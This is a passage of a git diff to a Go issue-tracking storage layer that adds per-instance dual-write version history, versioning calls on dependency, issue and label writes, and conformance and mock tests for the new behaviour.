configurer.SetVersionedHistoryEnabled(true) + defer configurer.SetVersionedHistoryEnabled(false) + + create := func(id string) error { + return store.CreateIssue(ctx, &types.Issue{ + ID: id, Title: "t-" + id, IssueType: types.TypeTask, Status: types.StatusOpen, + }, "actor") + } + storeEpoch := func() (int, error) { + var epoch int + err := store.db.QueryRowContext(ctx, `SELECT epoch FROM store_epoch WHERE id = 1`).Scan(&epoch) + return epoch, err + } + versionEpoch := func(id string) (int, error) { + var epoch int + err := store.db.QueryRowContext(ctx, + `SELECT epoch FROM issue_versions WHERE issue_id = ? ORDER BY revision DESC LIMIT 1`, id). + Scan(&epoch) + return epoch, err + } + + const first, second = "dwe-stamp-first", "dwe-stamp-second" + if err := create(first); err != nil { + t.Fatalf("creating %s: %v", first, err) + } + epochAfterFirst, err := storeEpoch() + if err != nil { + t.Fatalf("reading store_epoch after the first mutation: %v", err) + } + firstVersionEpoch, err := versionEpoch(first) + if err != nil { + t.Fatalf("reading issue_versions.epoch for %s: %v", first, err) + } + if firstVersionEpoch != epochAfterFirst { + t.Errorf("issue_versions.epoch for %s = %d, want the current store_epoch.epoch %d: FR-6 requires "+ + "every version row to be stamped with the store's current epoch at the moment it is minted", + first, firstVersionEpoch, epochAfterFirst) + } + + if err := create(second); err != nil { + t.Fatalf("creating %s: %v", second, err) + } + epochAfterSecond, err := storeEpoch() + if err != nil { + t.Fatalf("reading store_epoch after the second mutation: %v", err) + } + if epochAfterSecond != epochAfterFirst { + t.Errorf("store_epoch.epoch went from %d to %d across an ordinary accepted mutation, want "+ + "unchanged: FR-6 requires RecordVersionInTx to stamp the epoch onto the version row, never "+ + "to bump store_epoch.epoch itself — that bump belongs to a later, unbuilt phase", + epochAfterFirst, epochAfterSecond) + } + secondVersionEpoch, err := versionEpoch(second) + if err != nil { + t.Fatalf("reading issue_versions.epoch for %s: %v", second, err) + } + if secondVersionEpoch != epochAfterSecond { + t.Errorf("issue_versions.epoch for %s = %d, want the current store_epoch.epoch %d", + second, secondVersionEpoch, epochAfterSecond) + } +} + +func newDoltDualWriteFixture(t *testing.T, prefix string, enabled bool) (conformance.DualWriteFixture, context.Context, func()) { + t.Helper() + store, storeCleanup := setupTestStore(t) + ctx, cancel := testContext(t) + // Through the type assertion `bd serve` makes, never the concrete method + // set: dual-write history is not on storage.DoltStorage, so publishing it + // IS implementing this interface, matching newDoltJournalFixture's own + // discipline for storage.EventsJournalCursor above. + configurer, ok := any(store).(storage.VersionedHistoryConfigurer) + if !ok { + cancel() + storeCleanup() + t.Fatalf("%T does not implement storage.VersionedHistoryConfigurer", store) + } + configurer.SetVersionedHistoryEnabled(enabled) + fixture := conformance.DualWriteFixture{ + IssuePrefix: prefix, + Mutate: func(ctx context.Context, id string) error { + return store.CreateIssue(ctx, &types.Issue{ + ID: id, Title: "t-" + id, IssueType: types.TypeTask, Status: types.StatusOpen, + }, "actor") + }, + MutateAsNoOp: func(ctx context.Context, id string) error { + // Re-sets title to the exact value Mutate already gave it, so + // issueops.DiscardNoopIssueUpdates discards it before it ever + // reaches RecordVersionInTx. + return store.UpdateIssue(ctx, id, map[string]any{"title": "t-" + id}, "actor") + }, + CurrentRevision: func(ctx context.Context, id string) (int64, error) { + var revision int64 + err := store.db.QueryRowContext(ctx, `SELECT current_revision FROM issues WHERE id = ?`, id). + Scan(&revision) + return revision, err + }, + VersionRowCount: func(ctx context.Context, id string) (int, error) { + var count int + err := store.db.QueryRowContext(ctx, `SELECT COUNT(*) FROM issue_versions WHERE issue_id = ?`, id). + Scan(&count) + return count, err + }, + LatestVersionAttribution: func(ctx context.Context, id string) (actor, agent, message string, err error) { + err = store.db.QueryRowContext(ctx, ` + SELECT COALESCE(change_actor, ''), COALESCE(change_agent, ''), COALESCE(change_message, '') + FROM issue_versions + WHERE issue_id = ? + ORDER BY revision DESC + LIMIT 1`, id).Scan(&actor, &agent, &message) + return actor, agent, message, err + }, + } + return fixture, ctx, func() { + // Dual-write is instance-scoped, and this store outlives the fixture + // in the shared-database harness. Leaving it on would version every + // mutation a later test in this package makes. + configurer.SetVersionedHistoryEnabled(false) + cancel() + storeCleanup() + } +} diff --git a/internal/storage/dolt/expected_revision_contract_test.go b/internal/storage/dolt/expected_revision_contract_test.go new file mode 100644 index 000000000..ef76db9b1 --- /dev/null +++ b/internal/storage/dolt/expected_revision_contract_test.go @@ -0,0 +1,50 @@ +package dolt + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// TestExpectedRevisionContract wires this leg into the R16/R17 +// expected-revision contract. Phase 0 leaves every hook nil in every +// backend's fixture kit (architecture §12), so each case below skips by +// name; this file exists so TestEveryLegWiresEveryRoleContract counts this +// leg, and so the cases start running for real the moment this leg's fixture +// kit grows a non-nil hook. +func TestExpectedRevisionContract(t *testing.T) { + ctx := context.Background() + fixture := conformance.ExpectedRevisionFixture{IssuePrefix: "erev"} + + t.Run("AcceptsAWriteNamingTheCurrentVersion", func(t *testing.T) { + conformance.RunExpectedRevisionAcceptsAWriteNamingTheCurrentVersion(t, ctx, fixture) + }) + t.Run("AcceptsAWriteNamingNoVersion", func(t *testing.T) { + conformance.RunExpectedRevisionAcceptsAWriteNamingNoVersion(t, ctx, fixture) + }) + t.Run("CoversFieldsOutsideAnyWatchedSubset", func(t *testing.T) { + conformance.RunExpectedRevisionCoversFieldsOutsideAnyWatchedSubset(t, ctx, fixture) + }) + t.Run("RefusalReportsTheRefusingVersionAddress", func(t *testing.T) { + conformance.RunRefusalReportsTheRefusingVersionAddress(t, ctx, fixture) + }) + t.Run("RefusalReportsTheRefusingVersionsChangeAttribution", func(t *testing.T) { + conformance.RunRefusalReportsTheRefusingVersionsChangeAttribution(t, ctx, fixture) + }) + t.Run("RefusalIsATypedOutcomeNotAGenericError", func(t *testing.T) { + conformance.RunRefusalIsATypedOutcomeNotAGenericError(t, ctx, fixture) + }) + t.Run("RefusalIsDistinguishableFromAnAcceptedWrite", func(t *testing.T) { + conformance.RunRefusalIsDistinguishableFromAnAcceptedWrite(t, ctx, fixture) + }) + t.Run("RefusalIsDistinguishableFromNotFound", func(t *testing.T) { + conformance.RunRefusalIsDistinguishableFromNotFound(t, ctx, fixture) + }) + t.Run("RefusalIsDistinguishableFromValidationFailure", func(t *testing.T) { + conformance.RunRefusalIsDistinguishableFromValidationFailure(t, ctx, fixture) + }) + t.Run("RefusalNeverSilentlyPicksAWinner", func(t *testing.T) { + conformance.RunRefusalNeverSilentlyPicksAWinner(t, ctx, fixture) + }) +} diff --git a/internal/storage/dolt/initschema_0067_versioned_beads_replay_test.go b/internal/storage/dolt/initschema_0067_versioned_beads_replay_test.go index e96335828..0228d0b37 100644 --- a/internal/storage/dolt/initschema_0067_versioned_beads_replay_test.go +++ b/internal/storage/dolt/initschema_0067_versioned_beads_replay_test.go @@ -140,8 +140,8 @@ func TestMigration0067ReplaysIdempotentlyAsRawSQLThroughPR4107Harness(t *testing t.Fatalf("seed current_revision: %v", err) } if _, err := store.db.ExecContext(ctx, ` - INSERT INTO issue_versions (issue_id, revision, epoch, change_at) - VALUES ('mig0067-replay-subject', 42, 1, '2026-09-05 00:00:00')`); err != nil { + INSERT INTO issue_versions (issue_id, revision, epoch, change_at, attribution_status) + VALUES ('mig0067-replay-subject', 42, 1, '2026-09-05 00:00:00', 'unknown')`); err != nil { t.Fatalf("seed issue_versions row: %v", err) } diff --git a/internal/storage/dolt/retention_epoch_contract_test.go b/internal/storage/dolt/retention_epoch_contract_test.go new file mode 100644 index 000000000..ce3569454 --- /dev/null +++ b/internal/storage/dolt/retention_epoch_contract_test.go @@ -0,0 +1,72 @@ +package dolt + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// TestRetentionContract wires this leg into the R20 retention contract. +// Phase 0 leaves every hook nil in every backend's fixture kit (architecture +// §12), so each case below skips by name; this file exists so +// TestEveryLegWiresEveryRoleContract counts this leg, and so the cases start +// running for real the moment this leg's fixture kit grows a non-nil hook. +func TestRetentionContract(t *testing.T) { + ctx := context.Background() + fixture := conformance.RetentionFixture{IssuePrefix: "rete"} + + t.Run("RemovalLeavesTheAddressAbleToAnswer", func(t *testing.T) { + conformance.RunRemovalLeavesTheAddressAbleToAnswer(t, ctx, fixture) + }) + t.Run("RemovalReasonIsRetentionErasureOrReorganizationDistinctly", func(t *testing.T) { + conformance.RunRemovalReasonIsRetentionErasureOrReorganizationDistinctly(t, ctx, fixture) + }) + t.Run("RemovalReportsTheSurvivingRetainedWindow", func(t *testing.T) { + conformance.RunRemovalReportsTheSurvivingRetainedWindow(t, ctx, fixture) + }) + t.Run("RemovalNeverReassignsASurvivingAddress", func(t *testing.T) { + conformance.RunRemovalNeverReassignsASurvivingAddress(t, ctx, fixture) + }) + t.Run("GoneIsDistinguishableFromUnknown", func(t *testing.T) { + conformance.RunGoneIsDistinguishableFromUnknown(t, ctx, fixture) + }) + t.Run("AnAddressNeverResolvesToADifferentState", func(t *testing.T) { + conformance.RunAnAddressNeverResolvesToADifferentState(t, ctx, fixture) + }) + t.Run("ADestructiveOperationEnumeratesAffectedAddressesFirst", func(t *testing.T) { + conformance.RunADestructiveOperationEnumeratesAffectedAddressesFirst(t, ctx, fixture) + }) + t.Run("AHoldPreventsRemovalAndReportsInRetainedBounds", func(t *testing.T) { + conformance.RunAHoldPreventsRemovalAndReportsInRetainedBounds(t, ctx, fixture) + }) + t.Run("ForcingAHeldRemovalRecordsWhoWhenWhy", func(t *testing.T) { + conformance.RunForcingAHeldRemovalRecordsWhoWhenWhy(t, ctx, fixture) + }) + t.Run("EveryRetentionAnswerNamesItsProducingStore", func(t *testing.T) { + conformance.RunEveryRetentionAnswerNamesItsProducingStore(t, ctx, fixture) + }) + t.Run("AStoreWithNoLineageKnowledgeAnswersUnknownNotGone", func(t *testing.T) { + conformance.RunAStoreWithNoLineageKnowledgeAnswersUnknownNotGone(t, ctx, fixture) + }) + t.Run("AStoreThatRemovesStateStillAnswersGoneDurably", func(t *testing.T) { + conformance.RunAStoreThatRemovesStateStillAnswersGoneDurably(t, ctx, fixture) + }) + t.Run("ErasureMintsACorrectedVersionRatherThanEditingInPlace", func(t *testing.T) { + conformance.RunErasureMintsACorrectedVersionRatherThanEditingInPlace(t, ctx, fixture) + }) +} + +// TestEpochContract wires this leg into the R20 epoch contract. Same Phase 0 +// all-nil state as TestRetentionContract above. +func TestEpochContract(t *testing.T) { + ctx := context.Background() + fixture := conformance.EpochFixture{IssuePrefix: "epch"} + + t.Run("AnEpochBumpIsTriggeredOnlyByRestoreReinitOrSchemeChange", func(t *testing.T) { + conformance.RunAnEpochBumpIsTriggeredOnlyByRestoreReinitOrSchemeChange(t, ctx, fixture) + }) + t.Run("EpochBumpVoidsOnlyAddressesOfVersionsNoLongerServed", func(t *testing.T) { + conformance.RunEpochBumpVoidsOnlyAddressesOfVersionsNoLongerServed(t, ctx, fixture) + }) +} diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index 0581bcbc9..c3e3a06a5 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -307,6 +307,7 @@ var _ storage.Compactor = (*DoltStore)(nil) var _ storage.SchemaMigrator = (*DoltStore)(nil) var _ storage.ExternalRefHistoryQuerier = (*DoltStore)(nil) var _ storage.EventsJournalConfigurer = (*DoltStore)(nil) +var _ storage.VersionedHistoryConfigurer = (*DoltStore)(nil) // DoltStore implements the Storage interface using Dolt type DoltStore struct { @@ -318,12 +319,16 @@ type DoltStore struct { // eventsJournalEnabled activates the durable events journal for THIS store // instance only (storage.EventsJournalConfigurer); never process-global. eventsJournalEnabled atomic.Bool - connStr string // Connection string for reconnection - cfg *Config // Config this store was opened with (rebuildPoolAfterMigration) - serverEndpoint string // Exact endpoint bound to bootstrap reset authority - mu sync.RWMutex // Protects concurrent access - readOnly bool // True if opened in read-only mode - credentialKey []byte // Random encryption key for federation credentials + // versionedHistoryEnabled activates dual-write issue-version history for + // THIS store instance only (storage.VersionedHistoryConfigurer); never + // process-global. + versionedHistoryEnabled atomic.Bool + connStr string // Connection string for reconnection + cfg *Config // Config this store was opened with (rebuildPoolAfterMigration) + serverEndpoint string // Exact endpoint bound to bootstrap reset authority + mu sync.RWMutex // Protects concurrent access + readOnly bool // True if opened in read-only mode + credentialKey []byte // Random encryption key for federation credentials // localActiveDatabaseDir is the exact active database directory when this // store instance has authoritative local filesystem access. It is resolved @@ -1236,6 +1241,8 @@ func (s *DoltStore) withWriteTx(ctx context.Context, fn func(tx *sql.Tx) error) } clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearVersionScope := s.scopeVersionedHistoryTransaction(tx) + defer clearVersionScope() if err := fn(tx); err != nil { return errors.Join(err, tx.Rollback()) } @@ -1254,6 +1261,16 @@ func (s *DoltStore) scopeEventsJournalTransaction(tx *sql.Tx) func() { return issueops.ScopeEventsJournalTransaction(tx, s.eventsJournalEnabled.Load()) } +// SetVersionedHistoryEnabled activates dual-write issue-version history for +// this store instance only. +func (s *DoltStore) SetVersionedHistoryEnabled(enabled bool) { + s.versionedHistoryEnabled.Store(enabled) +} + +func (s *DoltStore) scopeVersionedHistoryTransaction(tx *sql.Tx) func() { + return issueops.ScopeVersionedHistoryTransaction(tx, s.versionedHistoryEnabled.Load()) +} + func (s *DoltStore) commitSQLTx(ctx context.Context, op string, tx *sql.Tx) error { if err := tx.Commit(); err != nil { return s.recordDoltPublicationFailure(ctx, wrapSQLCommitError(op, err)) diff --git a/internal/storage/domain/db/dependency.go b/internal/storage/domain/db/dependency.go index 7d15ceb60..ced0d22bc 100644 --- a/internal/storage/domain/db/dependency.go +++ b/internal/storage/domain/db/dependency.go @@ -110,14 +110,24 @@ func (r *dependencySQLRepositoryImpl) Insert(ctx context.Context, dep *types.Dep table := pickDepTable(opts.UseWispsTable) var existingType string + var existingMetadataNS sql.NullString err := r.runner.QueryRowContext(ctx, //nolint:gosec // G201: table and depTargetExpr are hardcoded constants - fmt.Sprintf("SELECT type FROM %s WHERE issue_id = ? AND %s = ?", table, depTargetExpr), + fmt.Sprintf("SELECT type, metadata FROM %s WHERE issue_id = ? AND %s = ?", table, depTargetExpr), dep.IssueID, dep.DependsOnID, - ).Scan(&existingType) + ).Scan(&existingType, &existingMetadataNS) switch { case err == nil: + existingMetadata := existingMetadataNS.String + if !existingMetadataNS.Valid { + existingMetadata = "{}" + } if existingType == string(dep.Type) { + if issueops.DependencyMetadataEqual(existingMetadata, metadata) { + // Same type, same metadata: a change-free write. Nothing is + // written and nothing is journaled (#5898 R3). + return nil + } //nolint:gosec // G201: table and depTargetExpr are hardcoded constants if _, err := r.runner.ExecContext(ctx, fmt.Sprintf("UPDATE %s SET metadata = ? WHERE issue_id = ? AND %s = ?", table, depTargetExpr), @@ -127,7 +137,15 @@ func (r *dependencySQLRepositoryImpl) Insert(ctx context.Context, dep *types.Dep } // A same-type add refreshes edge metadata. It is an observable graph // mutation, so emit the complete replacement edge for replay. - return issueops.RecordDepEventInTx(ctx, r.runner, issueops.EventDepAdd, dep.IssueID, string(dep.Type), dep.DependsOnID, metadata, actor) + if err := issueops.RecordDepEventInTx(ctx, r.runner, issueops.EventDepAdd, dep.IssueID, string(dep.Type), dep.DependsOnID, metadata, actor); err != nil { + return err + } + // The metadata genuinely changed, so this re-add is a real + // durable-state mutation of the source issue and mints on the + // same terms as a new edge (#5898 leg 2: "a same-type re-add + // whose metadata actually changed mints EXACTLY ONE version + // carrying the new state"). + return issueops.RecordVersionInTx(ctx, r.runner, dep.IssueID, actor) } return &domain.DependencyTypeConflictError{ IssueID: dep.IssueID, @@ -219,15 +237,25 @@ func (r *dependencySQLRepositoryImpl) Insert(ctx context.Context, dep *types.Dep return fmt.Errorf("db: DependencySQLRepository.Insert: recompute is_blocked: %w", err) } // Snapshot only after all derived blocked-state maintenance has completed. - return issueops.RecordDepEventInTx(ctx, r.runner, issueops.EventDepAdd, dep.IssueID, string(dep.Type), dep.DependsOnID, metadata, actor) + if err := issueops.RecordDepEventInTx(ctx, r.runner, issueops.EventDepAdd, dep.IssueID, string(dep.Type), dep.DependsOnID, metadata, actor); err != nil { + return err + } + // A new edge is durable state of the referencing issue: version it, + // as issueops.AddDependencyInTx does on the store legs. The same-type + // refresh returned above without minting. + return issueops.RecordVersionInTx(ctx, r.runner, dep.IssueID, actor) } if err := issueops.MarkIsBlockedInTx(ctx, r.runner, affectedIssues, affectedWisps); err != nil { return fmt.Errorf("db: DependencySQLRepository.Insert: mark is_blocked (affected): %w", err) } // Snapshot only after all derived blocked-state maintenance has completed. // Never gated on opts.EmitEvent: a structurally-wired edge is as real to a - // replaying consumer as one added by an explicit dep verb. - return issueops.RecordDepEventInTx(ctx, r.runner, issueops.EventDepAdd, dep.IssueID, string(dep.Type), dep.DependsOnID, metadata, actor) + // replaying consumer as one added by an explicit dep verb — and neither is + // the version row minted beside it. + if err := issueops.RecordDepEventInTx(ctx, r.runner, issueops.EventDepAdd, dep.IssueID, string(dep.Type), dep.DependsOnID, metadata, actor); err != nil { + return err + } + return issueops.RecordVersionInTx(ctx, r.runner, dep.IssueID, actor) } // classifyMissingEndpoint names the endpoint behind a foreign-key refusal, @@ -393,6 +421,12 @@ func (r *dependencySQLRepositoryImpl) Delete(ctx context.Context, issueID, depen if err := issueops.RecordDepEventInTx(ctx, r.runner, issueops.EventDepRemove, issueID, depType, dependsOnID, depMetadata, actor); err != nil { return domain.DepDeleteResult{}, err } + // The Found:false return above keeps this actually-deleted-only, so the + // referencing issue is versioned for a real change, as + // issueops.RemoveDependencyInTx does on the store legs. + if err := issueops.RecordVersionInTx(ctx, r.runner, issueID, actor); err != nil { + return domain.DepDeleteResult{}, err + } return domain.DepDeleteResult{Found: true, Type: dt, DependsOnID: dependsOnID}, nil } diff --git a/internal/storage/domain/db/dependency_null_metadata_test.go b/internal/storage/domain/db/dependency_null_metadata_test.go new file mode 100644 index 000000000..60f8a68cd --- /dev/null +++ b/internal/storage/domain/db/dependency_null_metadata_test.go @@ -0,0 +1,57 @@ +package db + +import ( + "regexp" + "testing" + + sqlmock "github.com/DATA-DOG/go-sqlmock" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/types" +) + +func newMockDependencyRepo(t *testing.T) (sqlmock.Sqlmock, *dependencySQLRepositoryImpl) { + t.Helper() + db, mock, err := sqlmock.New() + if err != nil { + t.Fatalf("sqlmock.New: %v", err) + } + t.Cleanup(func() { _ = db.Close() }) + return mock, &dependencySQLRepositoryImpl{runner: db} +} + +// TestDependencyInsertReadsNullStoredMetadataAsEmptyObject is the serve-mode +// twin of issueops.TestAddDependencyInTxReadsNullStoredMetadataAsEmptyObject. +// The change-free re-add gate widened this SELECT from `type` to `type, +// metadata` on both write planes, and `dependencies.metadata` is nullable +// (`JSON DEFAULT (JSON_OBJECT())`, no NOT NULL), so a row written out of band +// -- bd sql, an external tool, hand SQL -- can hold NULL. Scanning NULL into a +// plain string hard-fails with "converting NULL to string is unsupported", +// which would turn every subsequent re-add of that edge into an error on a +// path that used to be idempotently happy. NULL is the absent-metadata state, +// so it reads as `{}` and the change-free re-add of a metadata-free edge stays +// the no-op it was. +// +// The repair landed on both planes; without this the two planes are pinned +// asymmetrically and a revert of the serve-mode scan alone has nothing red to +// catch it. +func TestDependencyInsertReadsNullStoredMetadataAsEmptyObject(t *testing.T) { + mock, repo := newMockDependencyRepo(t) + + mock.ExpectQuery(regexp.QuoteMeta("SELECT type, metadata FROM dependencies")). + WithArgs("dep-a", "dep-b"). + WillReturnRows(sqlmock.NewRows([]string{"type", "metadata"}).AddRow(string(types.DepRelated), nil)) + + dep := &types.Dependency{IssueID: "dep-a", DependsOnID: "dep-b", Type: types.DepRelated} + // DepRelated is not a scheduling edge and the hierarchy check is declared + // done, so the widened gate SELECT is the only statement this call reaches. + err := repo.Insert(t.Context(), dep, "writer", domain.DepInsertOpts{HierarchyValidated: true}) + if err != nil { + t.Fatalf("Insert(existing edge with NULL metadata) = %v, want nil: a change-free re-add is a no-op, not an error", err) + } + // Scripting only the one read means any UPDATE or journal write this path + // attempted would fail the run: the no-op is pinned, not merely the + // absence of an error. + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet sql expectations: %v", err) + } +} diff --git a/internal/storage/domain/db/issue.go b/internal/storage/domain/db/issue.go index 2b128b54d..61e383520 100644 --- a/internal/storage/domain/db/issue.go +++ b/internal/storage/domain/db/issue.go @@ -81,7 +81,10 @@ func (r *issueSQLRepositoryImpl) Insert(ctx context.Context, issue *types.Issue, }, domain.RecordEventOpts{UseWispsTable: opts.UseWispsTable}); err != nil { return err } - return issueops.RecordEventInTx(ctx, r.runner, issueops.EventCreate, issue.ID, actor) + if err := issueops.RecordEventInTx(ctx, r.runner, issueops.EventCreate, issue.ID, actor); err != nil { + return err + } + return issueops.RecordVersionInTx(ctx, r.runner, issue.ID, actor) } if err := insertIssueRow(ctx, r.runner, table, issue); err != nil { return err @@ -93,7 +96,10 @@ func (r *issueSQLRepositoryImpl) Insert(ctx context.Context, issue *types.Issue, }, domain.RecordEventOpts{UseWispsTable: opts.UseWispsTable}); err != nil { return err } - return issueops.RecordEventInTx(ctx, r.runner, issueops.EventCreate, issue.ID, actor) + if err := issueops.RecordEventInTx(ctx, r.runner, issueops.EventCreate, issue.ID, actor); err != nil { + return err + } + return issueops.RecordVersionInTx(ctx, r.runner, issue.ID, actor) } func (r *issueSQLRepositoryImpl) InsertBatch(ctx context.Context, issues []*types.Issue, actor string, opts domain.InsertIssueOpts) error { @@ -327,7 +333,10 @@ func (r *issueSQLRepositoryImpl) Update(ctx context.Context, id string, updates } // Snapshot only after all derived blocked-state maintenance has completed. // The no-op early returns above wrote nothing and journal nothing. - return issueops.RecordEventInTx(ctx, r.runner, issueops.EventUpdate, id, actor) + if err := issueops.RecordEventInTx(ctx, r.runner, issueops.EventUpdate, id, actor); err != nil { + return err + } + return issueops.RecordVersionInTx(ctx, r.runner, id, actor) } // CompareAndSetMetadataKey runs the SHARED compare-and-set body, unwrapped. @@ -534,10 +543,14 @@ func (r *issueSQLRepositoryImpl) Claim(ctx context.Context, id, actor string, op return domain.ClaimRowResult{}, fmt.Errorf("db: Claim %s: record event: %w", id, err) } // A claim changes assignee and status; the lost-CAS path returns above - // without writing and journals nothing. + // without writing and journals nothing — nor mints anything. A claim that + // rewrote the row is versioned, as issueops.ClaimIssueInTx is. if err := issueops.RecordEventInTx(ctx, r.runner, issueops.EventUpdate, id, actor); err != nil { return domain.ClaimRowResult{}, err } + if err := issueops.RecordVersionInTx(ctx, r.runner, id, actor); err != nil { + return domain.ClaimRowResult{}, err + } return domain.ClaimRowResult{ Updated: true, diff --git a/internal/storage/domain/db/label.go b/internal/storage/domain/db/label.go index 8f196b873..cbe76ed26 100644 --- a/internal/storage/domain/db/label.go +++ b/internal/storage/domain/db/label.go @@ -83,8 +83,12 @@ func (r *labelSQLRepositoryImpl) Insert(ctx context.Context, issueID, label, act return err } // A label is part of the bead snapshot; the idempotent no-op path above - // returns without writing and journals nothing. - return issueops.RecordEventInTx(ctx, r.runner, issueops.EventUpdate, issueID, actor) + // returns without writing, journals nothing and mints nothing. An inserted + // row is a durable-state change and is versioned, as AddLabelInTx does. + if err := issueops.RecordEventInTx(ctx, r.runner, issueops.EventUpdate, issueID, actor); err != nil { + return err + } + return issueops.RecordVersionInTx(ctx, r.runner, issueID, actor) } func (r *labelSQLRepositoryImpl) Delete(ctx context.Context, issueID, label, actor string, opts domain.LabelOpts) error { @@ -118,7 +122,12 @@ func (r *labelSQLRepositoryImpl) Delete(ctx context.Context, issueID, label, act }, domain.RecordEventOpts{UseWispsTable: opts.UseWispsTable}); err != nil { return err } - return issueops.RecordEventInTx(ctx, r.runner, issueops.EventUpdate, issueID, actor) + // The rows == 0 return above keeps this actually-deleted-only, so the + // version row is minted for a real change, as RemoveLabelInTx does. + if err := issueops.RecordEventInTx(ctx, r.runner, issueops.EventUpdate, issueID, actor); err != nil { + return err + } + return issueops.RecordVersionInTx(ctx, r.runner, issueID, actor) } func (r *labelSQLRepositoryImpl) List(ctx context.Context, issueID string, opts domain.LabelOpts) ([]string, error) { diff --git a/internal/storage/embeddeddolt/cross_record_invariant_contract_test.go b/internal/storage/embeddeddolt/cross_record_invariant_contract_test.go new file mode 100644 index 000000000..757e69034 --- /dev/null +++ b/internal/storage/embeddeddolt/cross_record_invariant_contract_test.go @@ -0,0 +1,43 @@ +//go:build cgo + +package embeddeddolt_test + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// TestCrossRecordInvariantContract wires this leg into the R16.1 +// cross-record invariant contract. Phase 0 leaves every hook nil in every +// backend's fixture kit (architecture §12), so each case below skips by +// name; this file exists so TestEveryLegWiresEveryRoleContract counts this +// leg, and so the cases start running for real the moment this leg's fixture +// kit grows a non-nil hook. +func TestCrossRecordInvariantContract(t *testing.T) { + ctx := context.Background() + fixture := conformance.CrossRecordInvariantFixture{IssuePrefix: "xrec"} + + t.Run("SurvivesTwoPassingPerRecordGuards", func(t *testing.T) { + conformance.RunCrossRecordInvariantSurvivesTwoPassingPerRecordGuards(t, ctx, fixture) + }) + t.Run("StoreInvariantTransactionScopesExactlyTheSpanningRecords", func(t *testing.T) { + conformance.RunStoreInvariantTransactionScopesExactlyTheSpanningRecords(t, ctx, fixture) + }) + t.Run("InvariantRefusalNamesTheViolatedInvariant", func(t *testing.T) { + conformance.RunInvariantRefusalNamesTheViolatedInvariant(t, ctx, fixture) + }) + t.Run("MemoryKeyAliasUniquenessIsAStoreInvariantNotACAS", func(t *testing.T) { + conformance.RunMemoryKeyAliasUniquenessIsAStoreInvariantNotACAS(t, ctx, fixture) + }) + t.Run("MaximumEndpointMultiplicityIsAStoreInvariantNotACAS", func(t *testing.T) { + conformance.RunMaximumEndpointMultiplicityIsAStoreInvariantNotACAS(t, ctx, fixture) + }) + t.Run("AdvisoryLeaseAloneDoesNotPreventTheInvariantViolation", func(t *testing.T) { + conformance.RunAdvisoryLeaseAloneDoesNotPreventTheInvariantViolation(t, ctx, fixture) + }) + t.Run("LeaseAcquisitionRecordsNoHistoryEntry", func(t *testing.T) { + conformance.RunLeaseAcquisitionRecordsNoHistoryEntry(t, ctx, fixture) + }) +} diff --git a/internal/storage/embeddeddolt/dependency_editor_contract_test.go b/internal/storage/embeddeddolt/dependency_editor_contract_test.go index 990af67bc..15fb44f16 100644 --- a/internal/storage/embeddeddolt/dependency_editor_contract_test.go +++ b/internal/storage/embeddeddolt/dependency_editor_contract_test.go @@ -45,6 +45,18 @@ func TestEmbeddedDependencyEditorSameTypeReAddIsIdempotent(t *testing.T) { conformance.RunDependencyEditorSameTypeReAddIsIdempotent(t, ctx, newEmbeddedDependencyEditorFixture(t, ctx, "idem")) } +func TestEmbeddedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion(t *testing.T) { + skipUnlessEmbeddedDolt(t) + ctx := t.Context() + conformance.RunDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion(t, ctx, newEmbeddedDependencyEditorFixture(t, ctx, "idemmeta")) +} + +func TestEmbeddedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t *testing.T) { + skipUnlessEmbeddedDolt(t) + ctx := t.Context() + conformance.RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t, ctx, newEmbeddedDependencyEditorFixture(t, ctx, "idemmetasame")) +} + func TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse(t *testing.T) { skipUnlessEmbeddedDolt(t) ctx := t.Context() @@ -255,12 +267,14 @@ func newEmbeddedDependencyEditorFixture(t *testing.T, ctx context.Context, prefi } kit := newEmbeddedRoleFixtureKit(te, prefix) return conformance.DependencyEditorFixture{ - IssuePrefix: kit.IssuePrefix, - Editor: editor, - CreateIssue: kit.CreateIssue, - CreateWisp: kit.CreateWisp, - AddDependency: kit.AddDependency, - QueryScalar: kit.QueryScalar, - CountHistory: kit.CountHistory, + IssuePrefix: kit.IssuePrefix, + Editor: editor, + CreateIssue: kit.CreateIssue, + CreateWisp: kit.CreateWisp, + AddDependency: kit.AddDependency, + QueryScalar: kit.QueryScalar, + CountHistory: kit.CountHistory, + SetJournalEnabled: te.store.SetEventsJournalEnabled, + SetVersionedHistoryEnabled: te.store.SetVersionedHistoryEnabled, } } diff --git a/internal/storage/embeddeddolt/dependency_editor_version_history_test.go b/internal/storage/embeddeddolt/dependency_editor_version_history_test.go new file mode 100644 index 000000000..4756e1c75 --- /dev/null +++ b/internal/storage/embeddeddolt/dependency_editor_version_history_test.go @@ -0,0 +1,113 @@ +//go:build cgo + +package embeddeddolt_test + +import ( + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// TestEmbeddedDependencyEditorVersionsOnlyARealAddOrRemove is the FOURTH +// ADDENDUM's own no-op-detection clause (design bead be-0uifx): the +// dependency editor is the one RecordVersionInTx caller not already +// short-circuited by DiscardNoopIssueUpdates, so it must draw its own R3 +// exemption from the eventWritten signal AddDependencyInTx/ +// RemoveDependencyInTx already return. This is an ENGINE CHECK on the shared +// internal/storage/issueops call sites (addDependencyEdgeInTx, +// ExecuteRemoveDependency) rather than a per-backend vote — see +// TestDualWriteContract's own doc comment for why one leg is proof for all +// three here, since dolt and uow route through the identical issueops +// functions. +// +// It asserts by DELTA against the source issue's own version-row count +// rather than an absolute value, so it stays correct regardless of how many +// rows the two CreateIssue seeds above it already minted. +func TestEmbeddedDependencyEditorVersionsOnlyARealAddOrRemove(t *testing.T) { + skipUnlessEmbeddedDolt(t) + te := newTestEnv(t, "depver") + ctx := t.Context() + + configurer, ok := 